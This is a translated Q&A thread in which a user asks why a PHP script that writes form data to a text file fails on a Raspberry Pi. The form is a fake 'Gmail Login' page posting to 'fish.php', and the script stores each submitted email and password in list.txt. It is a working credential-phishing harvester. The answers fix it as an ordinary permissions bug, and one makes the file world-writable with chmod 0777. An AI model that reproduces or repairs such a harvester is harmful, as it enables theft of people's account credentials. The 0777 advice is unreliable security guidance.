写入文件,但它不能在我的Pi上工作?

时间:2013-11-04 19:23:38

标签: php linux

我正在尝试使用PHP写入文本文件。

我有这个表格

<form action="fish.php" method="POST">
<p>Gmail Login</p> <input name="gmail1" type="text" />
</br>
<p>Password</p> <input name="gmail2" type="password" />
</br>
<input type="submit" name="submit" value="Submit">
</form>

我也有这个PHP文件

<?php
if(isset($_POST['gmail1']) && isset($_POST['gmail2'])) {
$data = $_POST['gmail1'] . '-' . $_POST['gmail2'] . "\n";
$ret = file_put_contents('list.txt', $data, FILE_APPEND | LOCK_EX);
if($ret === false) {
    die('There was an error writing this file');
}
else {
    header("Location: index.html");
}
}
else {
   die('no post data to process');
}

现在我在网络托管上使用了它,它的工作原理非常好。然后我把它放到运行linux的Rasberry Pi上,用Apache,PHP和所有必需的东西安装在它上面,但我只是继续“编写这个文件时出错”,而不是像我应该那样被重定向到我的主页。

我有所有相同的文件和诸如此类的东西,任何人都可以猜出是什么问题?

谢谢!

2 个答案:

答案 0 :(得分:0)

这可能是文件权限问题。

您可以先尝试打开文件(fread),将/ chmod设置为0777,然后再将内容写入其中。

这已在我的服务器上测试并正常运行。

您可能还想将权限从0777更改为0644

我添加了一个if(isset($_POST['submit']))条件,以避免过早写入文件。

<?php

if(isset($_POST['submit'])){
if(isset($_POST['gmail1']) && isset($_POST['gmail2'])) {
$data = $_POST['gmail1'] . '-' . $_POST['gmail2'] . "\n";

$file = "list.txt";
fopen($file, "r");
chmod ($file, 0777); // change to 0644 if required
$ret = file_put_contents($file, $data, FILE_APPEND | LOCK_EX);

if($ret === false) {
    die('There was an error writing this file');
}
else {
    header("Location: index.html");

}
}
else {
   die('no post data to process');
}

} // for if(isset($_POST['submit']))

?>

答案 1 :(得分:0)

这是权限错误。如果您的文本文件位于您的Pi上,则只需右键单击它,然后选择“属性”即可。然后,转到&#39;权限&#39;点击,使文件可以读取和写入每个人。 这对我的Pi起了作用:)

相关问题